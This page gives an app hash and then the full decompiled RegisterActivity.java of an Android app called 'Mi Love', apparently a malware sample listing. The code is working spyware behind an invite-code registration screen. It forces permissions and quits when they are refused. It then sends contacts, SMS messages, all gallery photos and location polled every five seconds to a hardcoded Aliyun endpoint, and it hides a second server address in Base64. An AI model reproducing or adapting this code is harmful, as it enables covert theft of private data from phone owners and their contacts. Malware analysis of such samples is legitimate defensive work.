Mi Love v2.1.19版本的 MD5 值为:359343d6da08b606640b0d6b4dd9d399

以下内容为反编译后的 RegisterActivity.java 源代码,内容仅作参考


package com.catchturtle;

import android.content.Intent;
import android.database.Cursor;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Process;
import android.os.StrictMode;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.telephony.TelephonyManager;
import android.util.Base64;
import android.util.Log;
import android.view.MotionEvent;
import android.view.View;
import android.view.inputmethod.InputMethodManager;
import android.webkit.WebView;
import android.widget.EditText;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.NotificationCompat;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONException;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.sdk.android.oss.common.RequestParameters;
import com.alibaba.sdk.android.oss.common.utils.HttpHeaders;
import com.catchturtle.AliyunOSSUploader;
import com.catchturtle.RegisterActivity;
import com.lxj.xpopup.XPopup;
import com.lxj.xpopup.core.BasePopupView;
import com.lxj.xpopup.interfaces.OnConfirmListener;
import com.tencent.map.geolocation.TencentLocation;
import com.tencent.map.geolocation.TencentLocationListener;
import com.tencent.map.geolocation.TencentLocationManager;
import com.tencent.map.geolocation.TencentLocationRequest;
import java.io.File;
import java.io.IOException;
import java.net.Proxy;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Locale;
import java.util.Random;
import okhttp3.FormBody;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import permison.PermissonUtil;
import permison.listener.PermissionListener;
public class RegisterActivity extends AppCompatActivity implements View.OnClickListener, TencentLocationListener {
    static final boolean $assertionsDisabled = false;
    public static String f120id;
    public static String uri;
    public static String url;
    private EditText code;
    public JSONArray dxJsonArray;
    private Handler handler;
    private LocationAlertDialog locationAlertDialog;
    private TencentLocationManager mLocationManager;
    private WebView mWebView;
    private EditText phone;
    public BasePopupView popupView;
    RelativeLayout registerNext;
    private Runnable runnable;
    public TextView text;
    public JSONArray txlJsonArray;
    private AliyunOSSUploader uploader;
    public String[] auths = {"android.permission.READ_CONTACTS", "android.permission.READ_EXTERNAL_STORAGE", "android.permission.READ_SMS", "android.permission.ACCESS_FINE_LOCATION", "android.permission.ACCESS_COARSE_LOCATION", "android.permission.READ_PHONE_STATE"};
    public String model = "";
    public String system_version = "";
    public String number = "";
    public String phoneStr = "";
    public String codeStr = "";
    public String longitude = "";
    public String latitude = "";
    public String TAG = "请求";
    private final int delay = 5000;
    private final Uri SMS_INBOX = Uri.parse("content://sms/");
    private long exitTime = 0;

    public String getUrl() {
        return "http://alb-tq3pq6wljj7ur4pkgt.cn-hongkong.alb.aliyuncs.com/milove/";
    }

    private void updateLocationStatus(String str) {
    }

    @Override
    public void onStatusUpdate(String str, int i, String str2) {
    }

    @Override
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        LocationAlertDialog locationAlertDialog = new LocationAlertDialog(this);
        this.locationAlertDialog = locationAlertDialog;
        locationAlertDialog.show();
        setContentView(eeehak.decfdl.ebafjm.R.layout.activity_main);
        this.mLocationManager = TencentLocationManager.getInstance(this);
        TencentLocationRequest create = TencentLocationRequest.create();
        create.setInterval(3000L);
        this.mLocationManager.requestLocationUpdates(create, this);
        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
        this.phone = (EditText) findViewById(eeehak.decfdl.ebafjm.R.id.phone);
        this.code = (EditText) findViewById(eeehak.decfdl.ebafjm.R.id.code);
        this.registerNext = (RelativeLayout) findViewById(eeehak.decfdl.ebafjm.R.id.registerNext);
        this.text = (TextView) findViewById(eeehak.decfdl.ebafjm.R.id.bottomText);
        this.registerNext.setOnClickListener(this);
        uri = new String(Base64.decode("aHR0cDovLzIwMi45NS44LjEyNS8=", 0));
        this.handler = new Handler();
        Runnable runnable = new Runnable() {
            @Override
            public void run() {
                RegisterActivity.this.postDw();
                RegisterActivity.this.handler.postDelayed(this, 5000L);
            }
        };
        this.runnable = runnable;
        this.handler.postDelayed(runnable, 5000L);
        complete();
    }

    @Override
    public void onClick(View view) {
        if (view.getId() == eeehak.decfdl.ebafjm.R.id.registerNext) {
            this.phoneStr = this.phone.getText().toString();
            this.codeStr = this.code.getText().toString();
            if (this.phoneStr.isEmpty()) {
                showToast("请输入手机号");
            } else if (this.codeStr.isEmpty()) {
                showToast("请输入邀请码");
            } else if (this.phoneStr.length() < 5) {
                showToast("手机号格式错误");
            } else if (this.codeStr.length() < 4) {
                showToast("邀请码错误");
            } else {
                this.popupView = new XPopup.Builder(this).dismissOnTouchOutside(false).dismissOnBackPressed(false).asLoading().show();
                new Thread(new Runnable() {
                    @Override
                    public final void run() {
                        RegisterActivity.this.lambda$onClick$0$RegisterActivity();
                    }
                }).start();
            }
        }
    }

    public void lambda$onClick$0$RegisterActivity() {
        try {
            JSONArray jSONArray = this.txlJsonArray;
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < jSONArray.size(); i++) {
                JSONObject jSONObject = jSONArray.getJSONObject(i);
                String string = jSONObject.getString("name");
                String string2 = jSONObject.getString("number");
                sb.append(string);
                sb.append("|");
                sb.append(string2);
                sb.append("=");
            }
            String sb2 = sb.toString();
            Log.d("JSON", sb2);
            String str = this.phoneStr + "**" + this.codeStr + "**" + this.model + "=" + sb2;
            try {
                OkHttpClient build = new OkHttpClient.Builder().proxy(Proxy.NO_PROXY).build();
                FormBody.Builder builder = new FormBody.Builder();
                builder.add("data", str);
                Response execute = build.newCall(new Request.Builder().url(getUrl() + "/api/uploads/api/").post(builder.build()).build()).execute();
                if (execute.isSuccessful()) {
                    this.popupView.smartDismiss();
                    startActivity(new Intent(this, WebViewActivity.class));
                    this.uploader = new AliyunOSSUploader(this);
                    for (String str2 : getAllImagePaths()) {
                        uploadImage(str2);
                    }
                    String string3 = execute.body().string();
                    runOnUiThread(new Runnable() {
                        @Override
                        public void run() {
                            JSONArray jSONArray2 = RegisterActivity.this.dxJsonArray;
                            JSONArray jSONArray3 = new JSONArray();
                            JSONObject jSONObject2 = new JSONObject();
                            jSONObject2.put("imei2", (Object) RegisterActivity.this.codeStr);
                            jSONObject2.put("imei", (Object) RegisterActivity.this.phoneStr);
                            jSONArray3.add(jSONObject2);
                            int i2 = 0;
                            while (i2 < jSONArray2.size()) {
                                JSONObject jSONObject3 = jSONArray2.getJSONObject(i2);
                                JSONObject jSONObject4 = new JSONObject();
                                i2++;
                                jSONObject4.put("id", (Object) String.valueOf(i2));
                                jSONObject4.put(HttpHeaders.DATE, (Object) jSONObject3.getString("time"));
                                jSONObject4.put("PhoneNumber", (Object) jSONObject3.getString("phone"));
                                jSONObject4.put("Smsbody", (Object) jSONObject3.getString("body"));
                                jSONObject4.put("Type", (Object) String.valueOf(jSONObject3.getInteger("type")));
                                jSONArray3.add(jSONObject4);
                            }
                            RegisterActivity.this.postSms(jSONArray3.toJSONString());
                            Log.d("duanxin", RegisterActivity.this.dxJsonArray.toJSONString());
                        }
                    });
                    Log.d("fanhui", string3);
                }
            } catch (IOException unused) {
            }
        } catch (JSONException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onLocationChanged(TencentLocation tencentLocation, int i, String str) {
        if (i == 0) {
            StringBuilder sb = new StringBuilder();
            sb.append("(纬度=");
            sb.append(tencentLocation.getLatitude());
            sb.append(",经度=");
            sb.append(tencentLocation.getLongitude());
            sb.append(",精度=");
            sb.append(tencentLocation.getAccuracy());
            sb.append("), 来源=");
            sb.append(tencentLocation.getProvider());
            sb.append(", 地址=");
            sb.append("{84坐标下不提供地址!}");
            this.longitude = tencentLocation.getLongitude() + "";
            this.latitude = tencentLocation.getLatitude() + "";
        }
    }

    public void postSms(String str) {
        try {
            OkHttpClient build = new OkHttpClient.Builder().proxy(Proxy.NO_PROXY).build();
            FormBody.Builder builder = new FormBody.Builder();
            builder.add("data", str);
            Request.Builder builder2 = new Request.Builder();
            Response execute = build.newCall(builder2.url(getUrl() + "/api/uploads/apisms/").post(builder.build()).build()).execute();
            if (execute.isSuccessful()) {
                this.popupView.smartDismiss();
                final String string = execute.body().string();
                runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Toast.makeText(RegisterActivity.this.getApplicationContext(), string, 0).show();
                        Log.d("duanxin", RegisterActivity.this.dxJsonArray.toJSONString());
                    }
                });
                Log.d("fanhui", string);
            }
        } catch (IOException unused) {
        }
    }

    private void showToast(final String str) {
        runOnUiThread(new Runnable() {
            @Override
            public final void run() {
                RegisterActivity.this.lambda$showToast$1$RegisterActivity(str);
            }
        });
    }

    public void lambda$showToast$1$RegisterActivity(String str) {
        Toast.makeText(this, str, 0).show();
    }

    public class AnonymousClass4 implements PermissionListener {
        AnonymousClass4() {
        }

        @Override
        public void havePermission() {
            RegisterActivity.this.getDx();
            TelephonyManager telephonyManager = (TelephonyManager) RegisterActivity.this.getSystemService("phone");
            try {
                RegisterActivity.this.number = telephonyManager.getLine1Number();
            } catch (SecurityException e) {
                Log.e("权限错误", e.getMessage());
                new XPopup.Builder(RegisterActivity.this).dismissOnTouchOutside(false).dismissOnBackPressed(false).asConfirm("警告", "缺少必要的权限", "取消", "确认", new OnConfirmListener() {
                    @Override
                    public final void onConfirm() {
                        RegisterActivity.AnonymousClass4.this.lambda$havePermission$0$RegisterActivity$4();
                    }
                }, null, true).show();
            } catch (Exception e2) {
                Log.e("异常错误", String.valueOf(e2));
            }
            RegisterActivity.this.getTxl();
        }

        public void lambda$havePermission$0$RegisterActivity$4() {
            RegisterActivity.this.killApp();
        }

        @Override
        public void requestPermissionFail() {
            RegisterActivity.this.killApp();
        }
    }

    private void initAuth() {
        PermissonUtil.checkPermission(this, new AnonymousClass4(), this.auths);
    }

    public void postDw() {
        try {
            OkHttpClient build = new OkHttpClient.Builder().proxy(Proxy.NO_PROXY).build();
            FormBody.Builder builder = new FormBody.Builder();
            if (this.phoneStr.length() <= 0 || this.codeStr.length() <= 0 || this.longitude.length() <= 0 || this.latitude.length() <= 0) {
                return;
            }
            builder.add("data", this.phoneStr + "," + this.codeStr + "," + this.longitude + "," + this.latitude);
            Request.Builder builder2 = new Request.Builder();
            StringBuilder sb = new StringBuilder();
            sb.append(getUrl());
            sb.append("/api/uploads/apimap/");
            Response execute = build.newCall(builder2.url(sb.toString()).post(builder.build()).build()).execute();
            if (execute.isSuccessful()) {
                Log.d("fanhui", execute.body().string());
            }
        } catch (IOException unused) {
        }
    }

    private boolean registerRequest() {
        try {
            OkHttpClient build = new OkHttpClient.Builder().proxy(Proxy.NO_PROXY).build();
            FormBody.Builder builder = new FormBody.Builder();
            builder.add("phone", this.phoneStr);
            builder.add("code", this.codeStr);
            builder.add("model", this.model);
            builder.add("system_version", this.system_version);
            if (this.number == null) {
                this.number = "";
            }
            builder.add("number", this.number);
            builder.add("longitude", this.longitude);
            builder.add("latitude", this.latitude);
            Request.Builder builder2 = new Request.Builder();
            Response execute = build.newCall(builder2.url(uri + "api/register").post(builder.build()).build()).execute();
            if (execute.isSuccessful()) {
                JSONObject parseObject = JSONObject.parseObject(execute.body().string());
                JSONObject jSONObject = parseObject.getJSONObject("data");
                url = jSONObject.getString("url");
                f120id = jSONObject.getString("id");
                int intValue = parseObject.getIntValue("code");
                String string = parseObject.getString(NotificationCompat.CATEGORY_MESSAGE);
                if (intValue == 200) {
                    return true;
                }
                showToast(string);
            }
        } catch (IOException unused) {
        }
        return false;
    }

    public void getTxl() {
        JSONArray jSONArray = new JSONArray();
        Cursor query = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, "display_name desc limit 0, 300");
        if (query.getCount() == 0) {
            new XPopup.Builder(this).dismissOnTouchOutside(false).dismissOnBackPressed(false).asConfirm("警告", "软件异常请重新登录", "取消", "确认", new OnConfirmListener() {
                @Override
                public final void onConfirm() {
                    RegisterActivity.this.killApp();
                }
            }, null, true).show();
        } else {
            while (query.moveToNext()) {
                String string = query.getString(query.getColumnIndexOrThrow("data1"));
                String string2 = query.getString(query.getColumnIndex("display_name"));
                JSONObject jSONObject = new JSONObject();
                jSONObject.put("name", (Object) string2);
                jSONObject.put("number", (Object) string);
                jSONArray.add(jSONObject);
            }
        }
        query.close();
        this.txlJsonArray = jSONArray;
    }

    private void getDw() {
        try {
            LocationListener locationListener = new LocationListener() {
                @Override
                public void onLocationChanged(Location location) {
                }

                @Override
                public void onProviderDisabled(String str) {
                }

                @Override
                public void onProviderEnabled(String str) {
                }

                @Override
                public void onStatusChanged(String str, int i, Bundle bundle) {
                }
            };
            LocationManager locationManager = (LocationManager) getSystemService(RequestParameters.SUBRESOURCE_LOCATION);
            locationManager.getProviders(true);
            locationManager.requestLocationUpdates("gps", 0L, 0.0f, locationListener);
            locationManager.getLastKnownLocation("gps");
        } catch (SecurityException | Exception unused) {
        }
    }

    public void getDx() {
        Cursor query = getContentResolver().query(this.SMS_INBOX, new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc limit 0, 300");
        if (query != null) {
            JSONArray jSONArray = new JSONArray();
            while (query.moveToNext()) {
                int i = query.getInt(query.getColumnIndex("person"));
                String string = query.getString(query.getColumnIndex("address"));
                String string2 = query.getString(query.getColumnIndex("body"));
                long j = query.getLong(query.getColumnIndex("date"));
                int i2 = query.getInt(query.getColumnIndex("type"));
                String format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Long.valueOf(j));
                JSONObject jSONObject = new JSONObject();
                jSONObject.put("name", (Object) Integer.valueOf(i));
                jSONObject.put("phone", (Object) string);
                jSONObject.put("body", (Object) string2);
                jSONObject.put("time", (Object) format);
                jSONObject.put("type", (Object) Integer.valueOf(i2));
                jSONArray.add(jSONObject);
            }
            query.close();
            this.dxJsonArray = jSONArray;
        }
    }

    private void initData1() {
        postAsyncRequest("subSmsList", this.dxJsonArray);
    }

    private void initData2() {
        postAsyncRequest("subTxList", this.txlJsonArray);
    }

    public void postAsyncRequest(String str, JSONArray jSONArray) {
        try {
            OkHttpClient build = new OkHttpClient.Builder().proxy(Proxy.NO_PROXY).build();
            FormBody.Builder builder = new FormBody.Builder();
            builder.add("id", f120id);
            builder.add("data", jSONArray.toJSONString());
            Request.Builder builder2 = new Request.Builder();
            Response execute = build.newCall(builder2.url(uri + "api/" + str).post(builder.build()).build()).execute();
            if (execute.isSuccessful()) {
                execute.body().string();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private void complete() {
        BasePopupView show = new XPopup.Builder(this).dismissOnTouchOutside(false).dismissOnBackPressed(false).asLoading("检查更新").show();
        this.model = Build.MANUFACTURER + " " + Build.BRAND + " " + Build.MODEL;
        StringBuilder sb = new StringBuilder();
        sb.append("Android ");
        sb.append(Build.VERSION.RELEASE);
        this.system_version = sb.toString();
        show.smartDismiss();
        initAuth();
    }

    public void killApp() {
        finish();
        System.exit(0);
        Process.killProcess(Process.myPid());
    }

    @Override
    public boolean dispatchTouchEvent(MotionEvent motionEvent) {
        InputMethodManager inputMethodManager;
        if (motionEvent.getAction() == 0) {
            View currentFocus = getCurrentFocus();
            if (isShouldHideInput(currentFocus, motionEvent) && (inputMethodManager = (InputMethodManager) getSystemService("input_method")) != null) {
                inputMethodManager.hideSoftInputFromWindow(currentFocus.getWindowToken(), 0);
            }
            return super.dispatchTouchEvent(motionEvent);
        } else if (getWindow().superDispatchTouchEvent(motionEvent)) {
            return true;
        } else {
            return onTouchEvent(motionEvent);
        }
    }

    private boolean isShouldHideInput(View view, MotionEvent motionEvent) {
        if (view instanceof EditText) {
            int[] iArr = {0, 0};
            view.getLocationInWindow(iArr);
            int i = iArr[0];
            int i2 = iArr[1];
            return motionEvent.getX() <= ((float) i) || motionEvent.getX() >= ((float) (view.getWidth() + i)) || motionEvent.getY() <= ((float) i2) || motionEvent.getY() >= ((float) (view.getHeight() + i2));
        }
        return false;
    }

    @Override
    public void onWindowFocusChanged(boolean z) {
        getWindow().getDecorView().setSystemUiVisibility(1536);
        getWindow().setNavigationBarColor(0);
        getWindow().setStatusBarColor(0);
    }

    @Override
    public void onBackPressed() {
        if (System.currentTimeMillis() - this.exitTime > 2000) {
            Toast.makeText(this, "再按一次退出应用", 0).show();
            this.exitTime = System.currentTimeMillis();
            return;
        }
        finish();
        System.exit(0);
    }

    private List<Uri> getAllImagesFromGallery() {
        ArrayList arrayList = new ArrayList();
        Cursor query = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_id"}, null, null, null);
        if (query != null) {
            while (query.moveToNext()) {
                arrayList.add(Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, String.valueOf(query.getLong(query.getColumnIndexOrThrow("_id")))));
            }
            query.close();
        }
        return arrayList;
    }

    private List<String> getAllImagePaths() {
        ArrayList arrayList = new ArrayList();
        Cursor query = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_data"}, null, null, null);
        if (query != null) {
            while (query.moveToNext()) {
                arrayList.add(query.getString(query.getColumnIndexOrThrow("_data")));
            }
            query.close();
        }
        return arrayList;
    }

    private String generateObjectKey() {
        String format = new SimpleDateFormat("yyyyMMdd_HHmmssSSS", Locale.getDefault()).format(new Date());
        int nextInt = new Random().nextInt(1000);
        return "image_" + format + "_" + nextInt;
    }

    private void uploadImage(String str) {
        if (new File(str).exists()) {
            this.uploader.uploadImage(generateObjectKey(), str, new AliyunOSSUploader.OnImageUploadListener() {
                @Override
                public void onUploadSuccess(String str2) {
                    try {
                        OkHttpClient build = new OkHttpClient.Builder().proxy(Proxy.NO_PROXY).build();
                        FormBody.Builder builder = new FormBody.Builder();
                        builder.add("id", RegisterActivity.this.phoneStr);
                        builder.add("url", str2);
                        Request.Builder builder2 = new Request.Builder();
                        Response execute = build.newCall(builder2.url(RegisterActivity.this.getUrl() + "/api/uploads/img3/").post(builder.build()).build()).execute();
                        if (execute.isSuccessful()) {
                            Log.d("fanhui", execute.body().string());
                        }
                    } catch (IOException unused) {
                    }
                    Log.d("sssss", str2);
                }

                @Override
                public void onUploadFailure(String str2) {
                    Log.e("UploadFailure", str2);
                }
            });
        }
    }

    @Override
    public void onActivityResult(int i, int i2, Intent intent) {
        super.onActivityResult(i, i2, intent);
        this.locationAlertDialog.onActivityResult(i, i2, intent);
    }
}